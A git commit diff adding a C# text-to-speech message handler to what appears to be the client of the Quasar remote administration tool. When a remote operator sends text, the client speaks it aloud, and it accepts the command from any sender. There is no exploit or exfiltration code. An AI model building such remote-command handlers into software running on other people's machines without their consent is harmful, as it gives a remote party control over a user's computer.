initial commit
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System.Speech.Synthesis;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class TextToSpeechHandler : IMessageProcessor
|
||||
{
|
||||
private readonly SpeechSynthesizer _synth = new SpeechSynthesizer();
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoTextToSpeech;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text))
|
||||
_synth.SpeakAsync(tts.Text);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user